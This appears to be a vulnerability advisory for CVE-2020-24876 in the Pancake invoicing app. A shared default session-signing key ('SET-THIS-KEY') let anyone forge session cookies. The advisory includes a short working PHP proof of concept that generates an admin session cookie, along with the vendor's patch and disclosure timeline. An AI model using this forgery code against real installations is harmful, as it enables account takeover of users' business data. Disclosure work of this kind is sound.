TL;DR

Pancake is an online invoicing, project management, time tracking and proposal software. A shared hardcoded secret used to sign the session cookie allowed us to forge a valid session cookie for any account for all Pancake applications before 4.13.29.

CVE

CVE-2020-24876

Affected Versions

All versions of Pancake before 4.13.29

Vulnerability Details

While working on a Black Box Pentest, we identified an asset that was setting some interesting cookies:

Set-Cookie: ci_session=a:5:{s:10:"session_id";s:32:"727b8714d43bae9ab8ccbd1599488579";s:10:"ip_address";s:11:"10.21.0.254";s:10:"user_agent";s:12:"HTTPie/1.0.2";s:13:"last_activity";i:1571768748;s:9:"user_data";s:0:"";}ae2539466a3835d177ef49a5d996a513; expires=Mon, 25-Nov-2019 02:25:48 GMT; path=/

What is interesting about this cookie is that it is a serialised PHP object. Unserialising a user provided PHP object can lead to some serious vulnerabilities, so it peaked our interest.

It turns out that the application running on this host was named Pancake, which is based on the CodeIgniter framework.

Let’s look at the code responsible for reading the session cookie:

<?php
/**
 * Fetch the current session data if it exists
 *
 * @access	public
 * @return	bool
 */
function sess_read() {
    // Fetch the cookie
    $session = $this->CI->input->cookie($this->sess_cookie_name);
    // No cookie?  Goodbye cruel world!...
    if ($session === FALSE) {
        log_message('debug', 'A session cookie was not found.');
        return FALSE;
    }
    // Decrypt the cookie data
    if ($this->sess_encrypt_cookie == TRUE) {
        $session = $this->CI->encrypt->decode($session);
    } else {
        // encryption was not used, so we need to check the md5 hash
        $hash = substr($session, strlen($session) - 32); // get last 32 chars
        $session = substr($session, 0, strlen($session) - 32);
        // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
        if ($hash !== md5($session . $this->encryption_key)) {
            log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
            $this->sess_destroy();
            return FALSE;
        }
    }
    // Unserialize the session array
    $session = $this->_unserialize($session);

    // ...
}

In our case, the cookie is not encrypted, so the only thing preventing us from manipulating the session data is an MD5 hash using the encryption_key as a secret. Without the encryption_key, we cannot forge a session cookie.

At this point, we could have tried to bruteforce the MD5 hash, but instead, we decided to dig deeper. 

Pancake is a closed source app but it turns out that we managed to get the source code of a couple of old versions using some well-crafted GitHub search queries.

When looking at the config.php file, it turns out that both had the same encryption key!

/*
|--------------------------------------------------------------------------
| Encryption Key
|--------------------------------------------------------------------------
|
| If you use the Encryption class or the Sessions class with encryption
| enabled you MUST set an encryption key.  See the user guide for info.
|
*/
$config['encryption_key'] = "SET-THIS-KEY";

Since both shared the same key and that the documentation was not referencing the need to update the encryption key, we assumed that most install were probably using the same key.

After some trials and error, we managed to forge a valid session cookie for the admin user!

Exploit

This simple proof of concept will print a cookie that should be valid for the admin user (assuming a default configuration of the app). You will need to provide a valid session_id as well as the corresponding IP address, user_agent and last_activity.

<?php

$a = [
	"session_id" => "a27f75a4a4612bd933f6ba1674d7b2c8",
	"ip_address" => "172.17.0.1",
	"user_agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
	"last_activity" => 1573070821,
	"user_data" => "",
	"username" => 'admin',
	"id" => '1',
	"user_id" => '1',
	"group_id" => '1',
	"group" => 'admin'
];

echo urlencode(serialize($a).md5(serialize($a)."SET-THIS-KEY"));

Editor Response

The editor acknowledged the vulnerability and fixed it, see editor advisory for more details: https://www.pancakeapp.com/blog/entry/pancake-4.13.29-released

The patch :

diff --git a/pancake/system/codeigniter/libraries/Session.php b/pancake/system/codeigniter/libraries/Session.php
index 4f5555d..aba2651 100644
--- a/pancake/system/codeigniter/libraries/Session.php
+++ b/pancake/system/codeigniter/libraries/Session.php
@@ -195,7 +195,14 @@ class CI_Session {
                        return FALSE;
                }

-               // Is there a corresponding session in the DB?
+        $allowed_keys = ["session_id", "ip_address", "user_agent", "last_activity"];
+        foreach (array_keys($session) as $key) {
+            if (!in_array($key, $allowed_keys)) {
+                unset($session[$key]);
+            }
+        }
+
+        // Is there a corresponding session in the DB?
diff --git a/pancake/system/pancake/core/Pancake_Controller.php b/pancake/system/pancake/core/Pancake_Controller.php
index 59d1dd8..1a17fd9 100644
--- a/pancake/system/pancake/core/Pancake_Controller.php
+++ b/pancake/system/pancake/core/Pancake_Controller.php
@@ -174,7 +174,7 @@ class Pancake_Controller extends CI_Controller {
             redirect(str_ireplace('http://', 'https://', site_url(uri_string())));
         }

-        $this->load->library('session');
+        $this->load->library('session', ["encryption_key" => Settings::get_encryption_key()]);
         $this->load->library('ion_auth');

         Currency::set(PAN::setting('currency'));
diff --git a/pancake/system/pancake/modules/settings/libraries/Settings.php b/pancake/system/pancake/modules/settings/libraries/Settings.php
index a1b79b6..ca369ce 100644
--- a/pancake/system/pancake/modules/settings/libraries/Settings.php
+++ b/pancake/system/pancake/modules/settings/libraries/Settings.php
@@ -239,6 +239,15 @@ class Settings {
         return $return;
     }

+    public static function get_encryption_key()
+    {
+        if (!Settings::get("encryption_key")) {
+            Settings::set("encryption_key", md5(random_bytes(32)));
+        }
+
+        return Settings::get("encryption_key");
+    }
+
     public static function create($name, $value) {
         return static::set($name, $value);
     }

Timeline

  • 10/2019 – Vulnerability identified
  • 11/2019 – First attempt at contacting the editor, no response
  • 07/2020 – Second attempt at contacting the editor, patch released the same day

References